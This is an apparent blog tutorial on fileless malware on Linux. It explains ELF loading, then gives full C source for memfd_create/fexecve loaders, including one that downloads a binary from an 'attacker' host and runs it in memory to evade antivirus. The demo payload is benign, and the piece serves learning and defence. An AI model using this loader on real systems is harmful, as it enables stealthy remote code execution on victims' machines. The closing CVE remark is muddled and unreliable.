What are file-less malwares? How do they work on linux?

According to Wikipedia, file-less malware is a variant of computer related malicious software that exists exclusively as a computer memory-based artifact i.e. in RAM.

In other words, the malware/program is never written to harddisk but directly loaded in memory.

How???

To get a better understanding of how that happens in linux, we need to understand how a normal program loads itself into memory and executes itself. If you already know this, feel free to skip next section.

How normal program loads and executes itself?

This is a “HUGE” topic for a mere blog post. So we’ll just scratch the surface and understand about ELF files. ELF Files are main binary format in use on modern Linux systems, and support for it is implemented in the file fs/binfmt_elf.c.

Let’s build our own C program to generate an ELF binary so we can follow and know what we are doing.

Create a C program file with vim not_hello_world.c, and paste the below code into it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>

int main(int argc, char* argv[], char* envp[])
{
  // Prints total argument count passed to executable
	printf("Argument count : %2d\n", argc);

  // Prints the arguments list along with memory location
	printf("Arguments list :\n");
	for(int i=0; i<argc; i++)
	{
		printf("\targv[%1$d] =[ %2$p ]==> %2$s\n", i, argv[i]);
	}

  // Prints all the environment variables passed to executable
	printf("Environment list :\n");
	for(int i=0; envp[i]; i++)
	{
		printf("\tenvp[%1$d] =[ %2$p ]==> %2$s\n", i, envp[i]);
	}
}

The above code will print out the argc, argv and envp values to the standard output.

Compile it : gcc not_hello_world.c -o not_hello_world.o

Check file type : file not_hello_world.o

1
not_hello_world.o: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82cad832f6d9b9a2d071be6bca3ccab87c8c71f6, for GNU/Linux 3.2.0, not stripped

Run it : ./not_hello_world.o 12345 123 12345678901234567890 1234

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Argument count :  5
Arguments list :
	argv[0] =[ 0x7ffd3bd9370c ]==> ./not_hello_world.o
	argv[1] =[ 0x7ffd3bd93720 ]==> 12345
	argv[2] =[ 0x7ffd3bd93726 ]==> 123
	argv[3] =[ 0x7ffd3bd9372a ]==> 12345678901234567890
	argv[4] =[ 0x7ffd3bd9373f ]==> 1234
Environment list :
	envp[0] =[ 0x7ffd3bd93744 ]==> SHELL=/bin/bash
	envp[1] =[ 0x7ffd3bd93754 ]==> LANGUAGE=en_US:
	envp[2] =[ 0x7ffd3bd93764 ]==> PWD=/home/vagrant/workspace/blog_junk
	envp[3] =[ 0x7ffd3bd9378a ]==> LOGNAME=vagrant
	envp[4] =[ 0x7ffd3bd9379a ]==> XDG_SESSION_TYPE=tty
	envp[5] =[ 0x7ffd3bd937af ]==> MOTD_SHOWN=pam
	envp[6] =[ 0x7ffd3bd937be ]==> HOME=/home/vagrant
	envp[7] =[ 0x7ffd3bd937d1 ]==> LANG=en_US.UTF-8
	envp[8] =[ 0x7ffd3bd937e2 ]==> LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
	envp[9] =[ 0x7ffd3bd93dc4 ]==> SSH_CONNECTION=10.0.2.2 34954 10.0.2.15 22
	envp[10] =[ 0x7ffd3bd93def ]==> LESSCLOSE=/usr/bin/lesspipe %s %s
	envp[11] =[ 0x7ffd3bd93e11 ]==> XDG_SESSION_CLASS=user
	envp[12] =[ 0x7ffd3bd93e28 ]==> TERM=tmux-256color
	envp[13] =[ 0x7ffd3bd93e3b ]==> LESSOPEN=| /usr/bin/lesspipe %s
	envp[14] =[ 0x7ffd3bd93e5b ]==> USER=vagrant
	envp[15] =[ 0x7ffd3bd93e68 ]==> SHLVL=1
	envp[16] =[ 0x7ffd3bd93e70 ]==> XDG_SESSION_ID=6
	envp[17] =[ 0x7ffd3bd93e81 ]==> XDG_RUNTIME_DIR=/run/user/1000
	envp[18] =[ 0x7ffd3bd93ea0 ]==> SSH_CLIENT=10.0.2.2 34954 22
	envp[19] =[ 0x7ffd3bd93ebd ]==> XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
	envp[20] =[ 0x7ffd3bd93efe ]==> PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
	envp[21] =[ 0x7ffd3bd93f66 ]==> DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
	envp[22] =[ 0x7ffd3bd93f9c ]==> SSH_TTY=/dev/pts/0
	envp[23] =[ 0x7ffd3bd93faf ]==> _=./not_hello_world.o
	envp[24] =[ 0x7ffd3bd93fc5 ]==> OLDPWD=/home/vagrant/workspace

This still does not gives us what is happening behind the scenes, but it tells us that each program has some dedicated memory space where it stores a copy of arguments and environment variables in continuous memory locations. To gather more information we can use the strace utility to trace the system calls made by our program.

Command: strace ./not_hello_world.o myarg1 myarg2 myarg3 2>strace_output.log 1>program_output.log
NOTE:- 2(stderr) redirected to strace_output.log file and 1(stdout) redirected to program_output.log file

command : cat strace_output.log

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
execve("./not_hello_world.o", ["./not_hello_world.o", "myarg1", "myarg2", "myarg3"], 0x7ffe0dbf2cf8 /* 25 vars */) = 0
brk(NULL)                               = 0x5593be003000
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffea24b4bc0) = -1 EINVAL (Invalid argument)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=28934, ...}) = 0
mmap(NULL, 28934, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ff99a640000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360q\2\0\0\0\0\0"..., 832) = 832
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
fstat(3, {st_mode=S_IFREG|0755, st_size=2029224, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff99a63e000
pread64(3, "\6\0\0\0\4\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0@\0\0\0\0\0\0\0"..., 784, 64) = 784
pread64(3, "\4\0\0\0\20\0\0\0\5\0\0\0GNU\0\2\0\0\300\4\0\0\0\3\0\0\0\0\0\0\0", 32, 848) = 32
pread64(3, "\4\0\0\0\24\0\0\0\3\0\0\0GNU\0\t\233\222%\274\260\320\31\331\326\10\204\276X>\263"..., 68, 880) = 68
mmap(NULL, 2036952, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff99a44c000
mprotect(0x7ff99a471000, 1847296, PROT_NONE) = 0
mmap(0x7ff99a471000, 1540096, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7ff99a471000
mmap(0x7ff99a5e9000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7ff99a5e9000
mmap(0x7ff99a634000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7ff99a634000
mmap(0x7ff99a63a000, 13528, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ff99a63a000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7ff99a63f540) = 0
mprotect(0x7ff99a634000, 12288, PROT_READ) = 0
mprotect(0x5593bdded000, 4096, PROT_READ) = 0
mprotect(0x7ff99a675000, 4096, PROT_READ) = 0
munmap(0x7ff99a640000, 28934)           = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
brk(NULL)                               = 0x5593be003000
brk(0x5593be024000)                     = 0x5593be024000
write(1, "Argument count :  4\nArguments li"..., 3244) = 3244
exit_group(0)                           = ?
+++ exited with 0 +++

At first it looks confusing and very difficult to understand, but is very simple and straight forward once you have understood the format of this output.

1
2
3
# Format of the strace output.

syscall(arg1, arg2, arg3, ... )  = Return value

Now if we look at line-1 of the strace_output.log file, with the newly gained insight. It is very clear that we are calling execve syscall and passing arguments to it.

According to man 2 execve –> execve() executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments.

This concludes that the execve() syscall is actually responsible to load the executable ELF file into memory!! Interestingly, our binary reads (gathers) all the data to be printed from multiple locations and then print it at once at end with a single write() syscall. The return value for write() denotes the number of bytes the syscall wrote. This is the exact amount of chars that was supposed to be written out on stdout but we redirected it to a file. Now we can check if the byte counts are same or not.

We can check if the byte counts in the file match the byte count returned by write() syscall, using –> wc -c program_output.log

output:

1
3244 program_output.log

With this, we know how a normal program executes in Memory. Below diagram summarizes it for a quick recap.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
      C program
         │  Compiles

     ELF binary

         │  execve

   loaded in memory

Idea of file-less?

In usual scenarios, we have a compiled malicious binary stored on the victim’s machine, that’s then executed somehow for the malicious purpose of the attacker. Here we have multiple simpler methods and tools to analyze the binary and know what it is going to do. Most of the times, our antivirus can scan system’s harddisk and know if there is a malware or a not.

And we all trust our anti-virus for that!! 😜

But what if an attacker somehow loaded the ELF file directly into the memory, without writing it to harddisk (not even a temp file). In linux, one of the way to do that is via memfd_create() syscall. This creates an “anonymous file” and returns a “file descriptor” to it.

OK! This had me with the first line of the man page - man 2 memfd_create. But there is more to it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
memfd_create() creates an anonymous file and returns a file
descriptor that refers to it.  The file behaves like a regular
file, and so can be modified, truncated, memory-mapped, and so
on.  However, unlike a regular file, it lives in RAM and has a
volatile backing storage.  Once all references to the file are
dropped, it is automatically released.  Anonymous memory is used
for all backing pages of the file.  Therefore, files created by
memfd_create() have the same semantics as other anonymous memory
allocations such as those allocated using mmap(2) with the
MAP_ANONYMOUS flag.

We can now create a file directly in RAM all we need is a way to execute it. We could have used same old execve for this but we don’t have a file pathname to begin with. After looking through the variants of the exec family syscalls, I stumbled upon fexecve() - execute program specified via file descriptor.

Now we have both, a way to create in memory files by memfd_create() and execute it with fexecve(). We just need a program to glue everything together with a neat logic to make things work the way you want it.

First fileless program in C

I’ve written a simple C program (loader.c) that creates an in-memory file and copies the data of a (local) binary to it. And then executes it. Simple, isn’t it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>


#define _GNU_SOURCE         /* See feature_test_macros(7) */
#define BUFF_SIZE 1024

int memfd_create(const char *name, unsigned int flags);

// Prints usage of the program - takes program name as argument - argv[0]
void usage(char* prog)
{
	char *use = "USAGE: %1$s /path/to/binary arg_to_binary1 arg_to_binary2 ...\n";
	printf(use, prog);
}

// Prints error message and the error number message; exits with errno.
void die(char* msg)
{
	printf("[ - ] %s\n", msg);
	printf("[ ? ] %s", strerror(errno));
	exit(errno);
}


int main(int argc, char* argv[], char* envp[])
{
	int fd1, fd2;
	char buff[BUFF_SIZE] = {0}; // Creates a buffer with all values as 0;

	if (argc < 2) {            // Checks if any argument is passed or not.
		usage(argv[0]);
		exit(1);
	}

	// Create mem file (fd1)
	printf("[ * ] Trying to create a mem file...\n");
	fd1 = memfd_create("testfd", 0);
	if (fd1 < 0) die("Can't create memfd file");

	printf("[ + ] Created mem file and attached to fd = %d\n", fd1);



	// Read a local binary (fd2) and write to mem file (fd1)
	printf("[ * ] Reading %s file\n", argv[1]);
	if ((fd2 = open(argv[1], O_RDONLY)) == -1)       die("Can't open file");



	printf("\n ----------------------------------- \n");
	int i = 0, j = 0;
	int read_count = 0, write_count = 0;
	while( (read_count = read(fd2, buff, BUFF_SIZE)) != 0 ) {
		if( (write_count = write(fd1, buff, read_count)) == -1)
			die("Failed to write to mem file");

		i += read_count;
		j += write_count;
		printf("\rRead count = %6d  |  Write count = %3d", i, j);
	}
	printf("\n ----------------------------------- \n");

	printf("[ + ] Starting execution...\n");

	// Change argv params; removes the argv[0]
	// printf("%s %s %s %s\n", argv[0], argv[1], argv[2], argv[3]);
	for(int i=0; i<argc; ++i)
		argv[i]  = argv[i+1];
	// printf("%s %s %s %s\n", argv[0], argv[1], argv[2], argv[3]);

	// Execute fd1 - with new argv and same envp
	fexecve(fd1, argv, envp);

	// If fexecve returns, then it is failed.
	printf("Failed Executing....\n");

	return errno;
}

We should give some time to understand this code on why and how it’ll load what in memory.

We can compile this code to generate an ELF file with gcc loader.c -o loader.o; Once compiled, we can run it with ./loader.o

Since there are no arguments(argc<2), it should fail with usage information on stdout.

1
USAGE: ./loader.o /path/to/binary arg_to_binary1 arg_to_binary2 ...

Let’s try again with some arguments this time.

1
./loader.o /usr/bin/file loader.o

This time things will not be same as last time. It’ll :-

  1. Creates an in-memory file and gets a file descriptor back (fd1).
  2. Opens local binary file (argv[1] = /usr/bin/file); Stores this file descriptor in fd2.
  3. Read-write loop until everything from fd2 is written in fd1.
  4. Change argv to be passed to in-mem file. The new argv value should look like –> /usr/bin/file arg1 arg2 arg3. This means we just have to remove the argv[0] and set everything remaining in proper index values.
  5. Execute fd1 –> in-memory file.

Output:

1
2
3
4
5
6
7
8
9
[ * ] Trying to create a mem file...
[ + ] Created mem file and attached to fd = 3
[ * ] Reading /usr/bin/file file

 -----------------------------------
Read count =  27104  |  Write count = 27104
 -----------------------------------
[ + ] Starting execution...
loader.o: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=426a7743592788cd18c92a76f22ccfb632700d7b, for GNU/Linux 3.2.0, with debug_info, not stripped

Last line of the output is the proof that our in-memory file executed successfully… Now we can take it to next level.

loading binary from network

Till this point, we know how to write a basic code to load a local binary, create a in-mem file for it and then execute it.

But an attacker won’t just use it run the local binaries which can be executed directly, instead he would like to execute a binary sitting on his server and load that into victim’s system directly in memory. This will not be detected with the help of any disk analysis tool or commands like ls. Also, this will be executing safe from “Anti-Virus” software complete disk-scan features. In theory, attacker could run anything from his system on victim’s system without leaving any trace on harddisk.

To simulate this, I’ve created a pre-setup with a server that hosts a malicious binary and victim’s system where we have the loader.o present.

Without further ado, let’s get things prepared for out test. We need 3 things:

  1. loader binary (on victim’s machine)
  2. malicious binary (on attacker’s machine)
  3. tcp socket server to host malicious binary (on attacker’s machine)

I started out with a (not so) malicious binary, which simply creates a plain-text file when executed.

Source Code: malicious_program.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#include <stdio.h>

int main()
{
    char* data = "This malicious program wishes you to have a good day!!";
    FILE* fPtr = fopen("NOTICE_for_U.txt", "w");
    if(!fPtr) return 1;
    fputs(data, fPtr);
    fclose(fPtr);
    return 0;
}

Compile it -> gcc malicious_program.c -o malicious_program.o

Next, I wrote a small python tcp socket server that will host the malicious_program.o binary.

Source Code: python_server.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Read binary
with open("malicious_program.o", "rb") as f:
    data = f.read()
print(len(data))

# Host it on 192.168.56.56:1234
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('192.168.56.56', 1234))
s.listen(1)

conn, addr = s.accept()
print(conn, addr)   # Prints the incoming Connection details
conn.sendall(data)
conn.close()

Finally, we modify the previous local binary loader code to read from connected socket instead of a local binary.

Source code: network_loader.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>


#define _GNU_SOURCE         /* See feature_test_macros(7) */
#define BUFF_SIZE 1024

int memfd_create(const char *name, unsigned int flags);


void usage(char* prog)
{
	char *use = "USAGE: %1$s Destination Port ...\n";
	printf(use, prog);
}

void die(char* msg)
{
	printf("[ - ] %s\n", msg);
	printf("[ ? ] %s", strerror(errno));
	exit(errno);
}


int main(int argc, char* argv[], char* envp[])
{
  int fd1;
  char buff[BUFF_SIZE] = {0};

  if (argc < 2) {
  	usage(argv[0]);
  	exit(1);
  }

  // Create mem file (fd1)
  printf("[ * ] Trying to create a mem file...\n");
  fd1 = memfd_create("testfd", 0);
  if (fd1 < 0) die("Can't create memfd file");

  printf("[ + ] Created mem file and attached to fd = %d\n", fd1);


  // Socket stuff begins here
  struct sockaddr_in serv_addr;
  int sock = 0;
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    die("Socket not created");

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_port = htons(strtol(argv[2], NULL, 10));   // set port

  if(inet_pton(AF_INET, argv[1], &serv_addr.sin_addr)<=0)  // set address
    die("Invalid address");

  if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) // connect
    die("Connection failed");


  printf("\n ----------------------------------- \n");
  int i = 0, j = 0;
  int read_count = 0, write_count = 0;
  while( (read_count = read( sock , buff, BUFF_SIZE)) != 0 ) {
  	if( (write_count = write(fd1, buff, read_count)) == -1)
  		die("Failed to write to mem file");

  	i += read_count;
  	j += write_count;
  	printf("\rRead count = %6d  |  Write count = %3d", i, j);
  }
  printf("\n ----------------------------------- \n");

  printf("[ + ] Starting execution...\n");

  // Change argv params
  // printf("BEFORE:  %s %s %s %s\n", argv[0], argv[1], argv[2], argv[3]);
  for(int i=0; i<argc; ++i)
  	argv[i]  = argv[i+1];
  // printf("AFTER:   %s %s %s %s\n", argv[0], argv[1], argv[2], argv[3]);

  // Execute fd1 - with new argv
  fexecve(fd1, argv, envp);

  // If fexecve returns, then it is failed.
  printf("Failed Executing....\n");

  return errno;
}

Compile it –> gcc network_loader.c -o network_loader.o

With this, we have everything ready with us. Some more steps and we are done.

  1. Start the python server on attacker’s machine. - python3 python_server.py
  2. Place the network_loader.o on victim’s machine.
  3. Politely ask the victim to execute the binary - ./network_loader.o 192.168.56.56 1234
  4. Sit back and enjoy!
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

## On Attacker's machine
$ python3 python_server.py

16800
<socket.socket fd=4, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('192.168.56.56', 1234), raddr=('192.168.56.56', 50812)> ('192.168.56.56', 50812)




## on victim's machine
$ ./network_loader.o 192.168.56.56 1234

[ * ] Trying to create a mem file...  
[ + ] Created mem file and attached to fd = 3
-----------------------------------
Read count =  16800  |  Write count = 16800
-----------------------------------
[ + ] Starting execution...

And if we check the victim’s working directory we can see a file with name NOTICE_for_U.txt there…. which confirms that the remote binary successfully ran on victim’s machine.


Voila! We just executed a remotely located binary without leaving anytrace on harddisk for further analysis. What we have is a loader binary that reads unknown data from somewhere and just executes it. And there is nothing in the loader binary that could be detected as malicious by most of the automated analysis tools… even VirusTotal does not detect it for what it is.

CVE-2021-4038 describes as a local privilege escalation vulnerability that was found on polkit’s pkexec utility. I’m not sure if it is a false positive or based on similar signatures.


References